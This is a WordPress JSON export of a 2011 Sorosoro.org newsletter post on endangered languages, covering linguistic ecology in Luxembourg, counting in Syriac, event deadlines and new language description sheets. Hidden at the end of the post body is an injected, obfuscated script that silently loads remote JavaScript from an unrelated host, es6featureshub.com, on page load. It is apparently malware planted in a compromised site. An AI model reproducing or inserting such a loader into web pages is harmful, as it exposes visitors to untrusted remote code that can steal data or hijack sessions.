{"id":46432,"date":"2011-04-19T10:33:00","date_gmt":"2011-04-19T08:33:00","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=46432"},"modified":"2025-10-21T23:00:50","modified_gmt":"2025-10-21T21:00:50","slug":"18-avril-2011-whats-new-on-sorosoro-org","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/","title":{"rendered":"18 avril 2011 : what\u2019s new on Sorosoro.org ?"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">This week\u2019s article, by ethnolinguist <strong>Sabine Ehrhart<\/strong>, discusses the relevance of <strong>linguistic ecology<\/strong>. This concept has been experimented in schools of <strong>Luxembourg<\/strong>, a country whose linguistic diversity is one of the richest in Europe.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/linguistic-ecology-in-luxembourg\">See blog<\/a><\/p>\n<h5 style=\"text-align: justify;\">Videos<\/h5>\n<p style=\"text-align: justify;\">We\u2019re still in company of \u00a0<strong>Father Yakup Aydin<\/strong>, priest of the Syriac Orthodox church of Antakya in France,  and speaker of Aramaic languages.  This week he teaches us <strong>how to count in Syriac<\/strong>!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/figures-and-numbers-in-syriac\">See video<\/a><\/p>\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>May 10-13 2011<\/strong>: the <strong>Puliima Forum<\/strong>, which aims to bring together people working on projects related to indigenous languages, and native speakers of these languages in particular, will be held this year in <strong>Brisbane<\/strong>, <strong>Australia<\/strong> (Queensland).<\/p>\n<p><a href=\"https:\/\/www.sorosoro.org\/en\/may-10-13-2011-puliima-forum-in-brisbane-australia\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>May 16, 2011<\/strong>: application deadline for <strong>Senior Lecturer position<\/strong>, Cape Town, <strong>South Africa<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/may-16-2011-senior-lecturer-in-african-linguistics-application-deadline-cape-town-south-africa\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Reminder for this week<\/strong>:<\/p>\n<p style=\"text-align: justify;\"><strong>April 20, 2011<\/strong>: <strong>grants<\/strong> requests deadline for <strong>language maintenance projects<\/strong>, Endangered Language Fund, USA.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/20-de-abril-de-2011-fecha-limite-para-el-envio-de-proyectos-de-revitalizacion-linguistica-a-la-endangered-language-fund-estados-unidos\">Read article<\/a><\/p>\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\"><strong>3 new language description<\/strong> sheets this week, taking us from South America to Australia via the Middle East:<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; <a href=\"https:\/\/www.sorosoro.org\/en\/modern-mandaic\">Neo-mandean<\/a><\/strong>, very endangered (in French). We pursue our exploration of modern Aramaic languages with Jean Sibille, whom we thank for his valuable knowledge and availability.<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; <a href=\"http:\/\/www.sorosoro.org\/le-nandeva\">Guarani-\u00d1andeva<\/a><\/strong> (or Chiripa), a Tupi-Guarani language spoken in Brazil and Paraguay (in French).<\/p>\n<p style=\"text-align: justify;\"><strong>&#8211; <a href=\"https:\/\/www.sorosoro.org\/en\/ngandi\">Ngandi<\/a><\/strong>, a Gunwinyguan language of Australia.<\/p>\n<h5 style=\"text-align: justify;\">And as always\u2026<\/h5>\n<p style=\"text-align: justify;\">Help us complete our <strong>glossary<\/strong>, by translating the new <a href=\"https:\/\/www.sorosoro.org\/en\/eye\"><strong>word of the fortnight<\/strong><\/a> : \u00ab\u00a0<strong>Eye<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\"><strong><br \/>\n<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>An excellent week to all of you!<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro team<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">With support from<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog This week\u2019s article, by ethnolinguist Sabine Ehrhart, discusses the relevance of linguistic ecology. This concept has been experimented in schools of Luxembourg, a country whose linguistic diversity is one of the richest in Europe. See blog Videos We\u2019re still in company of \u00a0Father Yakup Aydin, priest of the Syriac Orthodox church of Antakya in [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-46432","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>18 avril 2011 : what\u2019s new on Sorosoro.org ? - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"18 avril 2011 : what\u2019s new on Sorosoro.org ? - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog This week\u2019s article, by ethnolinguist Sabine Ehrhart, discusses the relevance of linguistic ecology. This concept has been experimented in schools of Luxembourg, a country whose linguistic diversity is one of the richest in Europe. See blog Videos We\u2019re still in company of \u00a0Father Yakup Aydin, priest of the Syriac Orthodox church of Antakya in [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-04-19T08:33:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T21:00:50+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"18 avril 2011 : what\u2019s new on Sorosoro.org ?\",\"datePublished\":\"2011-04-19T08:33:00+00:00\",\"dateModified\":\"2025-10-21T21:00:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/\"},\"wordCount\":247,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/\",\"name\":\"18 avril 2011 : what\u2019s new on Sorosoro.org ? - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-04-19T08:33:00+00:00\",\"dateModified\":\"2025-10-21T21:00:50+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"18 avril 2011 : what\u2019s new on Sorosoro.org ?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"18 avril 2011 : what\u2019s new on Sorosoro.org ? - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/","og_locale":"en_US","og_type":"article","og_title":"18 avril 2011 : what\u2019s new on Sorosoro.org ? - Sorosoro","og_description":"Blog This week\u2019s article, by ethnolinguist Sabine Ehrhart, discusses the relevance of linguistic ecology. This concept has been experimented in schools of Luxembourg, a country whose linguistic diversity is one of the richest in Europe. See blog Videos We\u2019re still in company of \u00a0Father Yakup Aydin, priest of the Syriac Orthodox church of Antakya in [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/","og_site_name":"Sorosoro","article_published_time":"2011-04-19T08:33:00+00:00","article_modified_time":"2025-10-21T21:00:50+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"18 avril 2011 : what\u2019s new on Sorosoro.org ?","datePublished":"2011-04-19T08:33:00+00:00","dateModified":"2025-10-21T21:00:50+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/"},"wordCount":247,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/","name":"18 avril 2011 : what\u2019s new on Sorosoro.org ? - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-04-19T08:33:00+00:00","dateModified":"2025-10-21T21:00:50+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/04\/18-avril-2011-whats-new-on-sorosoro-org\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"18 avril 2011 : what\u2019s new on Sorosoro.org ?"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/46432","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=46432"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/46432\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=46432"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=46432"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=46432"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}